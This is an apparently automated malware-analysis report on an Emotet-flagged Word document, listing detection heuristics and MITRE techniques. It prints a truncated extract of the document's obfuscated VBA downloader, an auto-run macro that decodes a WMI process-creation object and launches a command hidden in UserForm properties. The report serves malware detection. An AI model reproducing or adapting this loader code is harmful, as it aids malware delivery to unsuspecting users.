MALICIOUS
262
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The file contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of malicious intent. The presence of these elements, along with a ClamAV detection for Emotet, strongly suggests the file is designed to download and execute a secondary payload. The VBA script appears to be obfuscated, but the overall pattern points to a macro-based downloader.
Heuristics 7
-
ClamAV: Doc.Malware.Emotet-9277177-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Emotet-9277177-1
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGERVBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 4344 bytes |
SHA-256: dd0da969318c0910039508faa145d72bcd5d61160eb5f6e265f709893d328db6 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "OLTWGllssthvr"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
FBRJPumqchkomzojbh.TCXUEconvauwu
End Sub
Attribute VB_Name = "FBRJPumqchkomzojbh"
Attribute VB_Base = "0{AE169C6C-CA83-47C7-88CF-F355C68C0660}{69FE9F24-A752-4FC4-8898-391C4BBD3317}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function TCXUEconvauwu()
Dim AFH As Integer
AFH = 3
Do While AFH < 3 + 3
AFH = AFH + 2: DoEvents
Loop
Dim SkQD As Currency
QUTYTcpyzctop = FBRJPumqchkomzojbh.Zoom
Dim PFGLM As Integer
PFGLM = 4
Do While PFGLM < 4 + 4
PFGLM = PFGLM + 3: DoEvents
Loop
JIQZSwtocqulv = ChrW(QUTYTcpyzctop + ((30 + 60 + 30) / (4 + 4)))
Dim p1Èck3ÃQU As Date
QSBCKaobxlsuxk = "920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjhw920jG&2(nbsjg uiyqGb2234%42bjhi920jG&2(nbsjg uiyqGb2234%42bjhnm920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjhgm920jG&2(nbsjg uiyqGb2234%42bjht920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjh" + JIQZSwtocqulv + "920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjh:920jG&2(nbsjg uiyqGb2234%42bjhw920jG&2(nbsjg uiyqGb2234%42bjhin920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjh3920jG&2(nbsjg uiyqGb2234%42bjh2920jG&2(nbsjg uiyqGb2234%42bjh_920jG&2(nbsjg uiyqGb2234%42bjh" + FBRJPumqchkomzojbh.YNCRFauihgylpohclpj + "920jG&2(nbsjg uiyqGb2234%42bjhro920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjhce920jG&2(nbsjg uiyqGb2234%42bjhs920jG&2(nbsjg uiyqGb2234%42bjhs920jG&2(nbsjg uiyqGb2234%42bjh"
Dim tqSQH3Í As Integer
tqSQH3Í = 3
Do While tqSQH3Í < 3 + 6
tqSQH3Í = tqSQH3Í + 6: DoEvents
Loop
WEASIvlokvgxsflusu = ILIJBezdhdzspgue(QSBCKaobxlsuxk)
Dim JtF1ÔVIsgfW As Variant
Set PAZZNmquvuyprdopfhl = CreateObject(WEASIvlokvgxsflusu)
Dim r4ÖKHihX As Integer
r4ÖKHihX = 9
Do While r4ÖKHihX < 9 + 5
r4ÖKHihX = r4ÖKHihX + 7: DoEvents
Loop
TLWGVvziowddicuckz = FBRJPumqchkomzojbh.GIJFUotqbemutmvqy.ControlTipText
Dim aKHZFGTowB As Currency
GPQDIxriqzudlcstr = m2m3b5 + (WEASIvlokvgxsflusu + JIQZSwtocqulv + FBRJPumqchkomzojbh.JVVTOstgdqhsjop.ControlTipText + TLWGVvziowddicuckz)
Dim fIspInaCW As String
KDRQXtpbgelvwuahfgm = GPQDIxriqzudlcstr + FBRJPumqchkomzojbh.YNCRFauihgylpohclpj
Dim n8ÈRMOqNXp As Integer
n8ÈRMOqNXp = 4
Do While n8ÈRMOqNXp < 4 + 4
n8ÈRMOqNXp = n8ÈRMOqNXp + 1: DoEvents
Loop
Set MCXUSboehsmrsjxeb = EWKWOefoxfps(KDRQXtpbgelvwuahfgm)
Dim K0ÏyYuGKEqS As Currency
pppp1n1b = Array(ns123v4 + "jbjksgui qguw egq wuieg qbnmasm", PAZZNmquvuyprdopfhl. _
Create(RFIOKnhuffqlk, VNYRWlpmfddrl, MCXUSboehsmrsjxeb), masb1 + ",jha ghauig qugq bbbs")
Dim LRhpI5ÓslYA As Double
End Function
Function RFIOKnhuffqlk()
n21bh3 = FBRJPumqchkomzojbh.YMDJSmkjvmqzwxjklu.Pages(vbOK).Caption
RFIOKnhuffqlk = ILIJBezdhdzspgue(n21bh3)
dgKyIcWY = 7
Do While dgKyIcWY < 7 + 1
dgKyIcWY = dgKyIcWY + 1: DoEvents
Loop
End Function
Function EWKWOefoxfps(AABQBrarstbytgvaema)
Dim AFH As Integer
AFH = 3
Do While AFH < 3 + 3
AFH = AFH + 2: DoEvents
Loop
Dim SkQD As Currency
Dim PFGLM As Integer
PFGLM = 4
Do While PFGLM < 4 + 4
PFGLM = PFGLM + 3: DoEvents
Loop
Set EWKWOefoxfps = CreateObject(AABQBrarstbytgvaema)
Dim WbU1Ïq As Integer
WbU1Ïq = 1
Do While WbU1Ïq < 1 + 4
WbU1Ïq = WbU1Ïq + 1: DoEvents
Loop
EWKWOefoxfps. _
showwindow = RRQFEymioczxiwlcdf + GBLNUotmwejor
Dim UMbU As Object
End Function
Function ILIJBezdhdzspgue(PTJVQsglhyeccqyb)
ZIHHJmpmisfpj = PTJVQsglhyeccqyb
Dim ZvdC As Currency
PHBKMdixuykntso = Split _
(ZIHHJmpmisfpj, "920jG&2(nbsjg uiyqGb2234%42bjh")
Dim Hih4å As Integer
Hih4å = 5
Do While Hih4å < 5 + 7
Hih4å = Hih4å + 6: DoEvents
Loop
KXCHXacvkzgk = mmm2 + Join(PHBKMdixuykntso, msnj2)
Dim r4áAANisy As Integer
r4áAA
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.